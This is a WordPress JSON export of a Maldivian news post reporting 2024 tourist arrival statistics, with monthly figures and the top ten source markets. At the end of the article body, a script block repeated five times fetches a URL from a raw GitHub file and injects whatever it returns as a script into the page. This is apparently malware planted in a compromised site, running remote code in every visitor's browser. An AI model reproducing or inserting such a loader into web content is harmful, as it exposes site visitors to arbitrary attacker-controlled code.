{"id":10234,"date":"2024-08-31T21:26:46","date_gmt":"2024-08-31T16:26:46","guid":{"rendered":"https:\/\/mbt.mv\/?p=10234"},"modified":"2024-08-31T21:26:46","modified_gmt":"2024-08-31T16:26:46","slug":"tourist-arrivals-reach-over-1-3-million-so-far-in-2024","status":"publish","type":"post","link":"https:\/\/mbt.mv\/?p=10234","title":{"rendered":"Tourist arrivals reach over 1.3 million so far in 2024"},"content":{"rendered":"<p>The tourist arrivals to the Maldives has exceeded over 1.3 million as of August 27, 2024, according to the Ministry of Tourism.<\/p>\n<p>As per the latest statistics from the ministry, total tourist arrivals from January 01, 2024 to August 27, 2024 reached 1,343,911, which is a 10.4% increment from the 1,216,815 annual arrivals in the corresponding period in 2023.<\/p>\n<p>The daily arrival average is 5,600 in annual terms, and the average duration of stay is 7.7 days in annual terms. The highest arrival in a single day was recorded on August 14, with an arrival of 7,032 and the lowest single-day arrival was recorded on August 27, with an arrival of 3,715.<\/p>\n<h3>Tourist Arrivals &#8211; Monthly<\/h3>\n<ul>\n<li>January &#8211; 192,385 | +11.5%<\/li>\n<li>February &#8211; 217,392 | +22.2%<\/li>\n<li>March &#8211; 194,227 | +11.9%<\/li>\n<li>April &#8211; 168,366 | +2.4%<\/li>\n<li>May &#8211; 119,875 | -0.9%<\/li>\n<li>June &#8211; 123,284 | +2.4%<\/li>\n<li>July &#8211; 167,528 | +15.0%<\/li>\n<li>August (1st-27th) &#8211; 160,854 | +13.6%<\/li>\n<\/ul>\n<p>With an average increase reflected across the months compared to the same months last year, tourist arrivals across the top markets has also indicated growth.<\/p>\n<p>China maintains top rank, with arrivals from the market now less than 5,000 shy of hitting 200,000 arrivals in annual terms. Russia is second spot with over 144,000 arrivals.<\/p>\n<h3>Top 10 Markets<\/h3>\n<ol>\n<li>China \u2013 195,689<\/li>\n<li>Russia \u2013 144,950<\/li>\n<li>UK \u2013 116,268<\/li>\n<li>Italy \u2013 100,367<\/li>\n<li>Germany \u2013 94,978<\/li>\n<li>India \u2013 80,365<\/li>\n<li>USA \u2013 45,920<\/li>\n<li>France \u2013 38,999<\/li>\n<li>Spain \u2013 28,780<\/li>\n<li>Switzerland \u2013 25,622<\/li>\n<\/ol>\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The tourist arrivals to the Maldives has exceeded over 1.3 million as of August 27, 2024, according to the Ministry of Tourism. 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